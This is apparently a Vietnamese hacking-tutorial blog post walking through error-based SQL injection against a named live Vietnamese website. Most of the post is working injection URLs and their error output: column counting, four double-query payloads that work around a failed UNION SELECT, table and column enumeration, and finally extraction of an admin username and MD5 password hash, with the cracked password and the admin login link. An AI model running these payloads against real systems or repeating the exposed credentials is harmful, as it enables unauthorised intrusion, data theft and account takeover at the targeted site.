Vài lời cho các bạn !

Blog được xây dựng nhằm cung cấp, sưu tầm nguồn hướng dẫn cho các newbie học tập về hacking website, chứ không mang tính chất vẽ đường cho ai đó đi phá hoại(deface) nhằm gây tổn hại cho website hay sever nào đó. Mong you hãy coi đây như là cuốn ebook hay và bổ ích, cần là giở để xem. và hãy tận dụng nó đúng mục đích ! thanks !

Thursday, July 12, 2012

Một Số Cách Khai Thác Khi Union Select Bị Lỗi

Link bị lỗi: http://thuonghieudatviet.com.vn/sites/index.php?id=126’ 
Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

I- Tìm Số trường cột

http://thuonghieudatviet.com.vn/sites/index.php?id=126 order by 5-- -
Website Vẫn bình thường
http://thuonghieudatviet.com.vn/sites/index.php?id=126 order by 6-- -
Đã xuất hiện lỗi nè: Invalid query: Unknown column '6' in 'order clause'
=> số cột: 6-1 =5

II- Union để tìm vị trí cột bị lỗi

http://thuonghieudatviet.com.vn/sites/index.php?id=126 UNION SELECT 1,2,3,4,5-- -

Hix, nó không cho “union select” rồi:
Invalid query: The used SELECT statements have a different number of columns

III- Một số cách khắc phục


Cách 1: 
http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((Select Concat(0x2f,version(),0x2f,database(),0x2f,user(), 0x2f)),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN)


Cách 2: 
http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database() ,0x2f,user(),0x2f),1,136)From tbl_user),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN)

Cách 3:
http://thuonghieudatviet.com.vn/sites/index.php?id=126 and (select 1 from (select count(*),concat(0x2f,version(),0x2f,database(),0x2 f,user(),0x2f,floor(rand(0)*2)) from (select 1 union select 2 union select 3)ducdung08clc group by 2)bachkhoaHN)


Cách 4:
http://thuonghieudatviet.com.vn/sites/index.php?id=126 or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(), 0x2f,floor(rand(0)*2)) having min(1) or 1-- -

Tất cả các cách trên đều cho ra kết quả:
Invalid query: Duplicate entry '/5.0.92 community/thuonghi_thdv/thuonghi_thdv@localhost/1' for key 1


IV- Exploiting tables_name

Tôi sẽ khai thác cách 1 còn lại những cách khác các bạn làm tương tự nhé:

http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN)

Xuất hiện, tên bẳng đầu tiên: “tbl_user” không có số 1 nhé.
Invalid query: Duplicate entry 'tbl_user1' for key 1

Để lấy exploits các bảng tiếp theo bạn thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1…..Cho tới tên bẳng mà mình cần khai thác.

V – Exploiting columns_name


http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN)

Đã xuât hiện côt đầu tiên: “id”
Invalid query: Duplicate entry 'id1' for key 1
Tiếp tục lấy cột thứ 2:

http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 1,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN)

Ok, ta đã có column: “username”
Invalid query: Duplicate entry 'username1' for key 1
Tiếp tục lấy cột thứ 3:

http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 2,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN)

Ta được column: “password”
Invalid query: Duplicate entry 'password1' for key 1

VI – Khai thác thông tin username và password


http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select concat(0x2f,username,0x2f,password,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN)

Ok, Đã xuât hiện thông tin cần tìm:
Invalid query: Duplicate entry '/dk@@86/e50de53e74fb5c52efcf2feda8159c24/1' for key 1

VII - Giải Mã password và tìm link admin

Username: dk@@86
Password: (*&^%$#@! (theo md5) http://www.md5cracker.org/
Iink admin: http://thuonghieudatviet.com.vn/administrator/index.php